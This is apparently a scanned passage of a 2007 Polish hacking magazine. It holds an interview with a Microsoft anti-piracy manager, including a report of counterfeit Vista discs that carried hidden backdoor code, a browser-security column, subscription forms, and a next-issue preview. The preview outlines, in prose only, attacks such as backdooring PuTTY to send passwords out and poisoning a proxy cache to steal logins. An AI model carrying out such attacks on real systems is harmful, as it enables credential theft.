tutaj przypomnieć, że według prowadzonych
wcześniej badań firmy IDC wynika, że gdyby
w ciągu trzech lat udało nam się ograniczyć
piractwo o 10%, wówczas nie dość, że w istot-
ny sposób odczułby to budżet państwa – w po-
staci różnego rodzaju podatków: bezpośred-
nich, pośrednich itd. – ale przede wszystkim
moglibyśmy utworzyć w Polsce ponad 30000
nowych miejsc pracy i to miejsc pracy w sek-
torze ściśle związanym z oprogramowaniem
i jego produkcją. Te badania wykazują, że
stworzenie jednego takiego miejsca pracy po-
ciąga automatycznie za sobą cztery następ-
ne, więc mówimy o naprawdę wielkiej skali na
przestrzeni 10 lat! Ale cóż, albo wszyscy musi-
my uderzyć się w pierś, albo musimy wziąć się
do bardziej intensywnej pracy, żeby spadek
skali piractwa był bardziej zauważalny.

h9:

W jaki sposób Microsoft chce walczyć

z piractwem komputerowym, patrząc na ów

Wywiad z Krzysztofem

Janiszewskim – ochrona

własności intelektualnej

Krzysztof Janiszewski

W Microsoft pracuje już od

dziesięciu lat i od początku zajmuje

się problematyką związaną z

piractwem komputerowym. Jego

działania koncentrują się na polu

edukacyjno-prewencyjnym.

background image

Wywiad

hakin9 Nr 8/2007

www.hakin9.org

75

problem z perspektywy polityki własnej firmy – promo-
cje, upusty itp?

KJ:

Tego rodzaju działania podejmujemy już od

dawna. Wyszliśmy np. z propozycją pakietu Office skie-
rowanego do konsumenta domowego. Ten pakiet w
przypadku Office 2003, czyli oprogramowania istnieją-
cego na rynku już parę lat, nazywał się Office dla Stu-
dentów i Nauczycieli, a jedynym jego ograniczeniem
jest zakaz używania go do celów komercyjnych. Znako-
mite zalety tego pakietu to to, że jest w pełni funkcjonal-
nym odpowiednikiem Microsoft Office Standard. Kolej-
ną zaletą jest cena, która wynosi poniżej 400 złotych za
licencję. Licencja owa jest wieczysta, więc niezależnie
od tego, czy ktoś kończy karierę nauczyciela, studenta,
ucznia, licencja nie wygasa. No i trzeci plus tego pakie-
tu polega na tym, że można go zainstalować na trzech
stanowiskach, więc za niecałe 400 zł mamy pakiet, któ-
ry możemy używać na trzech komputerach. Inne nasze
propozycje dotyczą np. najnowszej wersji Microsoft Of-
fice 2007 do użytku domowego. Nie ma już tu ograni-
czenia nauczycielsko-studenckiego, a takie same po-
zostają zasady licencjonowania – czyli nie można go
używać do celów komercyjnych, możliwość instalacji
na trzech stanowiskach, wieczysta licencja. Cena też
podobna – około 400 zł. To kolejny argument przeciw-
ko szeroko rozpowszechnianemu mitowi, że oprogra-
mowanie jest drogie. Jeśli zaś chodzi o systemy opera-

cyjne – to Windows XP Home w cenie około 320 zł też
nie stanowi dużego wydatku. Zawsze podkreślam, że w
momencie zakupu oprogramowania inwestujemy w nie
na parę lat, a nie na dwa tygodnie, jak ma to miejsce np.
w przypadku tankowania samochodu, (a koszty są tu
porównywalne). Kolejna nasza propozycja, kierowana
jest dla klienta biznesowego, dla tych, którzy posiada-
ją już komputery, a nie zdążyli zaopatrzyć się w licen-
cjonowany pakiet Office. Jest to oferta Microsoft Works
plus Upgrade do Office'a. Cena takiego rozwiązania to
ok. 1000 zł, ale pamiętajmy, że jest to propozycja biz-
nesowa dla firmy, więc wydaje mi się, że jest to bardzo
atrakcyjna cena.

h9:

Czy wzrost zamożności społeczeństwa (czyli re-

latywny spadek cen dla Polaków) wpłynął w ostatnim
czasie na zwiększenie odsetka legalnych instalacji pro-
duktów Microsoft?

KJ:

Myślę, że tak. Zawsze człowiekowi lepiej zara-

biającemu łatwiej jest pogodzić się z pewnym wydatkiem
(większym czy nieplanowanym), także na pewno ma to
przełożenie na optymistyczne dane statystyczne, które
wykazują, że w kolejnych miesiącach rośnie nam średnia
miesięczna pensja. Wypada się z tego tylko cieszyć. Tym
bardziej, że będąc krajem członkowskim Unii Europej-
skiej, jesteśmy zobligowani do tego, żeby utrzymać taki
sam poziom cen, jak na całym rynku europejskim. Nie ma
więc różnicy, czy kupimy Windows czy Office we Francji,

background image

hakin9 Nr 8/2007

www.hakin9.org

76

Wielkiej Brytanii, w Polsce czy Niemczech. Cena jest ta
sama. Różnice mogą wynikać tu tylko z odmiennych cen
systemów podatkowych w różnych krajach, natomiast ce-
na bazowa, cena dystrybucyjna wszędzie jest taka sama.

h9:

Czy Microsoft planuje w Polsce obniżenie cen, co

mogłoby wpłynąć na poprawę sytuacji?

KJ:

Jak już mówiłem, ceny są ustalone odgórnie po-

przez regulacje między narodowe. Owszem czasami mo-
gą mieć miejsce jakieś promocje, ale nie są to jakieś bar-
dzo duże upusty. Mogą to być promocje rzędu kilku pro-
cent upustu od cen standardowych.

h9:

Czy na przestrzeni ostatnich lat/miesięcy firma Mi-

crosoft zauważyła zmiany w ilości przestępstw tego typu?

KJ:

Wydaje mi się, że można zaryzykować stwierdze-

nie, że mamy do czynienia z tendencją pozytywną. Z jed-
nej strony badania robione na zlecenie BSA raz do roku, z
drugiej strony wyniki sprzedaży. Nie tylko Microsoft, ale i
inni producenci wykazują w tym sektorze wzrosty i to do-
syć duże. Należy w związku z tym sądzić, że mimo faktu,
że cały rynek sprzętu komputerowego odczuwa wzrost,
nieco większy jednak wzrost obserwujemy w przypadku
oprogramowania. Przekłada się to na zmniejszenie ska-
li piractwa.

h9:

Czy po akcji z oprogramowaniem wyświetlającym

informacje o nielegalnym oprogramowaniu firma Micro-
soft odnotowała zauważalny wzrost zysków ?

KJ:

Z pewnością tak! Tutaj trudno jeszcze mówić

o statystykach, trudno mówić o konkretnych liczbach,
natomiast notyfikacja WGA, czyli system powiadamia-
nia o tym, czy pracujemy na legalnym czy też nielegal-
nym systemie operacyjnym wprowadzona została w
Polsce już ponad rok temu. Polska była jednym z kra-
jów objętym taką akcją pilotażową. Było to kilka kra-
jów w skali całego świata, a przyjęło się to rozwiąza-
nie dobrze nie tylko u nas. Efekty tego są jak najbar-
dziej pozytywne, stąd obecnie tego rodzaju komuni-
katy może spotkać użytkownik każdej wersji języko-
wej na całym świecie. Z pewnością z jednej strony pod-
nosi to popyt na licencjonowane systemy operacyjne, z
drugiej zaś przekłada się na bezpieczeństwo użytkow-
ników. Musimy pamiętać o tym, że piractwo czy pira-
ci to już dziś nie to samo, co początki tego zjawiska w
odniesieniu do oprogramowania komputerowego. Co-
raz więcej dostawców nielegalnego oprogramowania
to przestępcy bądź grupy przestępcze. Analizy nośni-
ków czy oprogramowania ściąganego nielegalnie z In-
ternetu wykazują, że w nieświadomy sposób naraża-
my się na ogromne niebezpieczeństwo. Czynimy tak,
instalując programy niewiadomego pochodzenia, po-
nieważ w dużej mierze są to programy, do których w
sposób zamaskowany dołączane są różnego rodzaju
złośliwe kody, niechciane aplikacje, programy szpie-
gowskie, wirusy i konie trojańskie. Może to prowadzić
do przejęcia kontroli nad komputerem nieświadome-
go użytkownika, który chciał zaoszczędzić, sięgając
po oprogramowanie z niepewnego źródła. Korzystając
z okazji, chciałbym też przestrzec użytkowników aukcji

internetowych, bo z jednej strony badania ogólnoświa-
towe, które głównie skoncentrowały się na aukcjach
portalu E-bay, wykazują, że szansa na zakup orygi-
nalnego oprogramowania Microsoft jest tu mniejsza niż
50%. A zatem cała reszta oferowanych tu produktów
(ponad połowa tego typu oprogramowania) jest podro-
biona bądź piracka. W przypadku polskich portali au-
kcyjnych muszę przyznać, że od paru tygodni przeży-
wamy wręcz oblężenie związane z tzw. usługą identyfi-
kacji produktu. Otóż kilka lat temu, w związku z pojawie-
niem się dobrej jakości podróbek, tzn. takich, gdzie na-
bywca mógł sądzić, że kupuje produkt oryginalny, uru-
chomiliśmy wspomniany serwis identyfikacji produktu.
Osoba, która ma podejrzenie, że została w ten sposób
oszukana, może zwrócić się do nas w sposób określony
na stronie internetowej i po spełnieniu określonych wa-
runków ma szansę otrzymać oryginalny pakiet. I tak jak
powiedziałem, w tej chwili przeżywamy niemal oblęże-
nie, nie ma dnia, abyśmy nie otrzymali skarg bądź prze-
syłek od klientów, którzy kupują niestety głównie na Al-
legro, ale nie tylko. Kupują oni często na aukcjach in-
ternetowych oprogramowanie, które według zapewnień
dostawców jest w 100% oryginalne, instaluje się na
wszystkich komputerach etc. Później okazuje się jed-
nak, że klienci mają do czynienia ze wspomnianymi ko-
munikatami, co dalej skutkuje tym, że mają zablokowa-
ny dostęp do pewnych uaktualnień, do pełnych korzyści
płynących z oryginalnego systemu operacyjnego. Skala
tego zjawiska świadczy o tym, że wspomniane już gru-
py przestępców, bo trudno ich wciąż nazywać roman-

tycznymi piratami, w coraz większym stopniu opanowu-
ją ten rynek – nie do końca oficjalny. Mamy do czynie-
nia np. z podróbkami polskiej wersji językowej systemu
Windows XP Professional. Przestrzegam przed zaku-
pem wersji dedykowanych do producentów konkretnych
komputerów, takich jak Dell, Fujitsu-Siemens, Optimus.
Takie pakiety łatwiej jest podrobić niż płyty Microso-
ftu opatrzone hologramem na całej powierzchni. Mogę
już niestety z całą pewnością stwierdzić, że wśród tych
ofert duża część dotyczy podróbek. A skutkuje to tym,
co już powiedziałem, że albo klient nie może w ogó-
le zainstalować takiego programu na swoim kompute-
rze, albo po pewnym czasie w wyniku weryfikacji ory-
ginalności systemu okazuje się, że ma odcięty dostęp
do pewnych uaktualnień, pewnych ofert dostępnych dla
użytkowników licencjonowanych systemów.

h9:

Co się dzieje z osobami, u których wykryto niele-

galne oprogramowanie tj. jeżeli są nakładane kary finan-
sowe, to jakiego rzędu i czy za starsze wersje systemów
są nakładane inne/niższe kary?

KJ:

Absolutnie nie! Nie prowadzimy tzw. polityki re-

presyjnej. Jedyne, co możemy zrobić, to odcięcie użyt-
kowników nielegalnego oprogramowania od pewnych ko-
rzyści. Nie prowadzimy, nie inicjujemy ani nie wnioskuje-
my o wszczęcie postępowań wobec użytkowników indy-
widualnych. Przedstawiciele pokrzywdzonych, czyli tak
naprawdę BSA, organizacja która reprezentuje interesy

background image

Wywiad

hakin9 Nr 8/2007

www.hakin9.org

77

Microsoft Corporation i innych światowych producentów
oprogramowania składa wnioski o ściganie wtedy, kie-
dy mamy doczynienia z przestępstwem na większą ska-
lę. Dzieje się tak np. wtedy, gdy jest to firma, która na kil-
kudziesięciu stanowiskach używa nielegalnego oprogra-
mowania pochodzącego od różnych producentów bądź
są to osoby, które rozpowszechniają nielegalne oprogra-
mowanie.

h9:

Jak się układa współpraca Microsoftu z policją/

służbami, które mają zwalczać nielegalne oprogramo-
wanie?

KJ:

Ta współpraca ma charakter trwały i stały od wie-

lu lat. Wymieniamy się informacjami, udostępniamy policji
informacje na temat tego, w jaki sposób odróżniać opro-
gramowanie oryginalne od podrobionego, w jaki sposób
odróżniać oprogramowanie legalne od nielegalnego. Jest
to wiedza, która wymaga stale uaktualnienia, w związku
z tym konsekwentnie organizujemy szkolenia dla policji,
dla służb celnych. Czasami bierzemy też udział w semi-
nariach dla prokuratorów i sędziów.

h9:

Jaki jest poziom wiedzy dotyczący technologii so-

ftware' owych w policji?

KJ:

Powiedziałbym, że jest coraz wyższy, czasami

nawet zaskakująco wysoki. No cóż, wypada jedynie po-
gratulować tym ludziom, którzy pracują w policji i są świet-
nymi znawcami różnych tajników nowych technologii.

h9:

Jak wygląda poziom piractwa na świecie ? Na ja-

kim miejscu plasuje się Polska?

KJ:

Jeśli chodzi o Europę, jesteśmy gdzieś w środ-

ku, – skala europejska to 34%. – tutaj też mamy jedno-
procentowy spadek. W Polsce wartość ta wynosi 57%.
Na świecie, o ile dobrze pamiętam, średnia znajduje się
gdzieś w okolicach 35% – także tutaj Polska znajduje
się zatem w peletonie, w grupie środkowej. Nie jesteśmy
ani liderami, ani też nie plasujemy się na samym końcu
tej niechlubnej klasyfikacji. Jeśli zaś chodzi o samą Eu-
ropę, to tutaj wypadamy dużo gorzej. Jeżeli weźmiemy
pod uwagę jedynie kraje Unii Europejskiej, to niewiele
z nich może się poszczycić większym osiągnięciem niż
owe 57%. Jedynie Grecja, Rumunia i Bułgaria, czyli je-
den ze starszych członków wspólnoty i dwa nowe w jej
strukturach państwa wyprzedzają, nas w tej niechlub-
nej klasyfikacji.

h9:

Jakie są prognozy dotyczące piractwa kompute-

rowego w Polsce i na świecie na najbliższe 10 lat?

KJ:

Biorąc pod uwagę wszelkie uwarunkowania

ekonomiczne, a nawet i sportowe ( przyznanie Pol-
sce i Ukrainie organizacji Euro 2012) oraz trendy ryn-
kowe, wydaje mi się, że można być optymistą. Przewi-
duję, że będziemy mieli tutaj do czynienia ze stałą ten-
dencją spadkową. Na ile ten spadek będzie dynamiczny,
naprawdę trudno prorokować, ale wydaje mi się, że je-
steśmy na dobrej drodze. Na pewno nie jesteśmy w sy-
tuacji, w której możemy wpaść w samozachwyt i włożyć
ręce do kieszeni. Pracy wciąż jest bardzo dużo. Fakt,
że grubo ponad połowa oprogramowania używanego w
Polsce to wciąż oprogramowanie nielegalne powoduje,

że musimy ciężko pracować nad tym, by zmienić wize-
runek Polski w Europie i świecie. Pamiętajmy o tym, że
kraje, w których własność intelektualna nie jest szano-
wana są mimo wszystko mało atrakcyjne dla potencjal-
nych inwestorów. Owszem w Polsce mamy do czynie-
nia z coraz większą aktywnością inwestorów zagranicz-
nych, ale mogę z całym przekonaniem stwierdzić, że
gdyby owo poszanowanie własności intelektualnej było
u nas większe, to i przypływ inwestycji byłby dużo bar-
dziej odczuwalny. Przekłada się to bezpośrednio i po-
średnio na poziom życia nas wszystkich. Są to bowiem
nowe miejsca pracy oraz pokaźne pieniądze, które po-
jawiają się na naszym rynku i przepływają przez kiesze-
nie obywateli, a także znaczne sumy trafiające do bu-
dżetu. To wszystko w efekcie ma decydujący wpływ na
nasz poziom życia. Wypada więc tylko tę tendencję pod-
trzymać.

Należy starać się, żeby poszanowanie własności in-

telektualnej było przynajmniej zbliżone do poszanowa-
nia własności dóbr materialnych. Jeżeli kogokolwiek na
ulicy zapytamy, czy kradzież roweru czy samochodu jest
naganna, to podejrzewam, że grubo ponad 90% zapyta-
nych odpowie, że tak. Jeśli jednak zapytamy, czy ściąga-
nie nielegalnych plików z Internetu albo kupowanie płyt
na bazarze jest akceptowalne, to obawiam się, że przy-
najmniej połowa z nich może mieć poważne wątpliwości
bądź wręcz stwierdzić, że to nic nagannego. To jest chy-
ba wciąż pokłosie życia w minionym już systemie komuni-
stycznym, gdzie radzenie sobie z różnego rodzaju zakaza-
mi było przejawem niemalże inteligencji, sprytu, zaradno-
ści, a kwestie moralne nie miały wtedy większego znacze-
nia. W tej chwili wygląda to jednak inaczej. Krótko mówiąc,
warto być uczciwym.

Na zakończenie chciałbym podać do wiadomości

pewną ciekawostkę. W momencie, kiedy miała miejsce
premiera systemu Windows Vista i pakietu Microsoft Of-
fice 2007 (był to dzień 31 stycznia), a nawet dzień wcze-
śniej we wszystkich prawie mediach pojawiły się infor-
macje, że na stadionie 10-lecia taką Vistę można kupić
za bodajże 70 złotych. Poprosiłem o zakup takich wer-
sji stadionowych. Kilka sztuk udało się zakupić na sta-
dionie 10-lecia i na bazarze w Gdańsku. Wysłaliśmy te
płyty do laboratoriów analitycznych Microsoftu w Sta-
nach Zjednoczonych. Okazało się, że przynajmniej na
dwóch płytach z systemem Windows Vista znajdowały
się dodatkowe kody, które powodowały w sposób zupeł-
nie niezauważalny dla użytkownika otwieranie portów
i łączenie się z jednym z serwerów za granicą. Czym
to grozi? Czym to skutkuje? Może to zagrozić przeję-
ciem danych z naszego komputera czy wręcz przeję-
ciem kontroli nad nim. Jakie są tego efekty? Mieliśmy
już np. kilka przypadków oczyszczenia kont bankowych.
Nawet dzisiaj czytałem o kolejnych tego typu przestęp-
czych przedsięwzięciach, czyli pozyskiwaniu numerów
kart bankowych, kodów PIN, haseł bankowych.

h9:

Dziękujemy za rozmowę.

KJ:

Dziękuję.

background image

hakin9 Nr 8/2007

www.hakin9.org

78

Felieton

J

ak możemy się przekonać, od jakiegoś czasu temat
przeglądarek jest kwestią sporną na wielu forach,
kanałach irc bądź grupach dyskusyjnych. Najwię-

cej uwagi przykłada się zwłaszcza do bezpieczeństwa
tego typu aplikacji.

Jest powszechnie wiadome, i nikt tego nie ukrywa, że

to IE jest tutaj najsłabszym ogniwem. Już dlatego, że użyt-
kownicy muszą bardzo długo czekać na poprawki, ewen-
tualnie na nowe wersje. Od czasu, kiedy na rynek zaczę-
ły powoli wchodzić inne przeglądarki, producenci IE podję-
li z nimi swoisty wyścig zbrojeń. Niestety kłopoty korpora-
cji Microsoft na tym się nie zakończyły. Do dziś dnia pozo-
staje bowiem ciągle aktualna konieczność walki z hakera-
mi. To przez nich jest znajdywana i łatana większość dziur
w przeglądarkach, systemach czy też pojedyńczych pro-
gramach. Ile to już spotkać można było haseł ośmieszają-
cych IE? Zepsuj Windowsa za pomocą Internet Explorera
- hacking.pl, Publicznie dostępny kod wykorzystujący lukę

w IE, na którą nie ma łaty - Computerworld, Dziurawa prze-

glądarka gorsza od wirusa - Gazeta.pl i wiele, wiele innych.
Ludzie bardzo niechętnie podchodzą już teraz do przeglą-
darki windowsowej, a jeśli ktoś wypowie się na forum o IE
w przyjazny sposób, zostaje często wyśmiany. Jaka jest
więc cena bezpieczeństwa?

O wiele bezpieczniejszą przeglądarką jest Opera, do

której bardzo się przywiązałem. Oczywiście czytający
może powiedzieć: Zaraz, przecież to Firefox jest najlep-

szy. I tu właśnie jest pies pogrzebany. Nigdy nie znajdzie-
my przeglądarki idealnej. Ale teraz nie o tym. Opera to nie
tylko przeglądarka. Dzięki wbudowanemu klientowi poczty
i irc zastępuje dwa następne programy. Co jeszcze oferu-
je ona swoim użytkownikom? Opera jest przeglądarką nie-
wielkich rozmiarów, a posiada komplet funkcji potrzebnych
do wygodnego poruszania się w Internecie. Ważny jest też
czas oczekiwania na następne wersje bądź łaty. Między
wersją 9.10 a 9.20 nie minęło więcej niż 4 miesiące. Co za
tym idzie my, użytkownicy owego programu, mamy szero-
ki wybór i poczucie bezpieczeństwa. Głównym rywalem IE
jest Firefox. IE ciągle jest na topie za sprawą ludzi o małych
wymaganiach. Dla nich nie liczy się bezpieczeństwo. Myślą
tylko o tym, aby przeglądać strony. Nie dostrzegają piękna
w innych przeglądarkach, ponieważ albo nie mają pojęcia
o ich istnieniu, albo boją się zmian.

Przeglądarki – temat tabu

Firefox jest przeglądarką o lekkim interfejsie, ale potęż-

nych możliwościach. Ten lisek zdobył już wielu zwolenników
i ciągle przybywają nowi. Czemu program to zawdzięcza?
Standard to np. blokowanie pop-upów, czyli uciążliwych
reklam. Taką blokadę posiada już niemal każda przeglądar-
ka, co znacznie umila pracę w Sieci. Następnym ciekawym
dodatkiem jest ostrzeganie przed stronami podszywający-
mi się pod strony np. banku. Dzięki temu jesteśmy o wiele
mniej podatni na ataki typu phishing.

Przedstawię jeszcze jedną przeglądarkę, jaką jest

Konqueror. Jest to przeglądarka, jaka adresowana jest do
użytkowników Linuksa. Pierwotnie był to menedżer plików,
ale z czasem został on zamieniony w przeglądarkę inter-
netową. Jeżeli chodzi o unowocześnienia techniczne, nie
znajdziemy w nim niczego, zapierającego dech w piersiach.
Standardowa oprawa graficzna bazująca na KDE oraz pod-
stawowe opcje przeglądania. Ciekawe jest jednak to, że pro-
gram ów umożliwia przeglądanie plików pdf oraz odtwarza-
nie filmów. Nie ma tu potrzeby mówić tutaj o bezpieczeń-
stwie, bo to w końcu przeglądarka pod Linuksa, więc...

Jak napisałem wcześniej, kwestia wyboru odpo-

wiedniej przeglądarki jest ciągle tematem spornym i to
bardzo. Wyobraźmy sobie, co działoby się, gdyby wszy-
scy korzystali z jednego IE albo jednego Firefoksa? Byłby
to monopol, jakich mało, a w dodatku nie występowałoby
tutaj, jakże piękne zróżnicowanie. Ponadto, dzięki silnej
konkurencji, firmy motywują się do wydawania nowych
wersji, ulepszania swoich produktów oraz wypuszczania
na rynek coraz to bezpieczniejszych przeglądarek. Użyt-
kownicy nie patrzą już tylko na bezpieczeństwo gwaran-
towane im przez Microsoft lub inne firmy. Podstawową
cechą przyciągającą kolejne zastępy zwolenników pro-
gramu jest także grafika, dodatki, widżety itp.

Oczywiście istnieje jeszcze wiele, wiele innych prze-

glądarek, które dopiero wchodzą na rynek i zapozna-
ją się z jego zasadami. Nie wszystkie jednak przetrwa-
ją, pozostaną tylko najsilniejsi. Jak wiemy, cztery wymie-
nione przeglądarki przewodzą w wyścigu po uznanie
odbiorców. Z sondaży wynika, że Firefox zaczyna stawać
się coraz bardziej popularny, ale czy nie stanie się z nim
tak samo jak z IE? Czy nie zejdzie na przysłowiowe psy?
Jaka przyszłość czeka przeglądarki? Na odpowiedzi na
te pytania, przyjdzie nam jeszcze poczekać.

Patryk Szlagowski patrykuss@haes-squad.net

background image

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku września 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

9/2007

w następnym numerze

między innymi:

Zapowiedzi

Modyfikacja kodu binarnego

Artykuł omawia jak dokonać zmian w kodzie binarnym tak, aby obrany na cel pro-
gram wykonywał dopisany kod. Tekst jest oparty na realnym przykładzie – uka-
zując jak zmodyfikować popularnego klienta usługi SSH 'PuTTY', w taki sposób,
aby program w czasie logowania na zdalny serwer przesyłał hasła (wpisywa-
ne przez użytkowników) również do nas (pod wskazany adres). Jest to realne
zagrożenie – nieświadomy użytkownik korzystając z programów w publicznych
miejscach jak kafejka internetowa, biblioteka studencka itp. może paść ofiarą
takich działań. Autor przeprowadza Czytelnika przez cały proces modyfikacji
aplikacji PuTTY – ukazując śledzenie kodu wykonywalnego, pisanie dodatkowej
funkcji przechwytującej hasła, aż po końcową modyfikację aplikacji.

Niebezpieczeństwo serwerów

pośredniczących PROXY

Artykuł przedstawia jak włamywacz, który znalazł błąd w serwerze WWW,
może wpływać na pamięć podręczną (tzw. cache) serwera proxy. Modyfiku-
jąc strony, zawarte w tej pamięci (są to strony, z których korzystają użytkowni-
cy serwera) atakujący jest w stanie pozyskiwać krytyczne informacje. I tak, np.
włamywacz jest w stanie utworzyć zmodyfikowaną stronę logowania na skrzyn-
kę pocztową, bloga, konto aukcyjne, konto bankowe itp. – do złudzenia podob-
ną do tej prawdziwej, w ten sposób niczego nieświadomy użytkownik po wpisa-
niu hasła – prześle je nie tylko do prawowitego serwera, ale również do włamy-
wacza. Temat ten opiera się na serwerze SQUID, w systemie linux. Opisuje krok
po kroku jak przeprowadzić taki atak – spreparować daną stronę, umieścić ją w
pamięci cache itd. Tak aby ostatecznie pozyskać wspomniane hasła do stron.

Tęczowe tablice – łamanie haseł

Tęczowe tablice to baza skrótów wykorzystywana w łamaniu haseł kodo-
wanych jednokierunkową funkcją skrótu. Pozwala na zaoszczędzenie mocy
obliczeniowej koniecznej do złamania hasła metodą brute force. Artykuł ma
na celu pokazać jak się bronić przed tego typu łamaniem haseł.

NA CD:

hakin9.live – bootowalna dystrybucja Linuksa;
• mnóstwo narzędzi – niezbędnik hakera;
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach;
• dodatkowa dokumentacja;
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Atak

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 28 (08 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Doc Zajkowska 28 08 2007[1]
Hakin9 30 (10 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
hakin9 07 08 2008 pl
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 31 (11 2007) PL

więcej podobnych podstron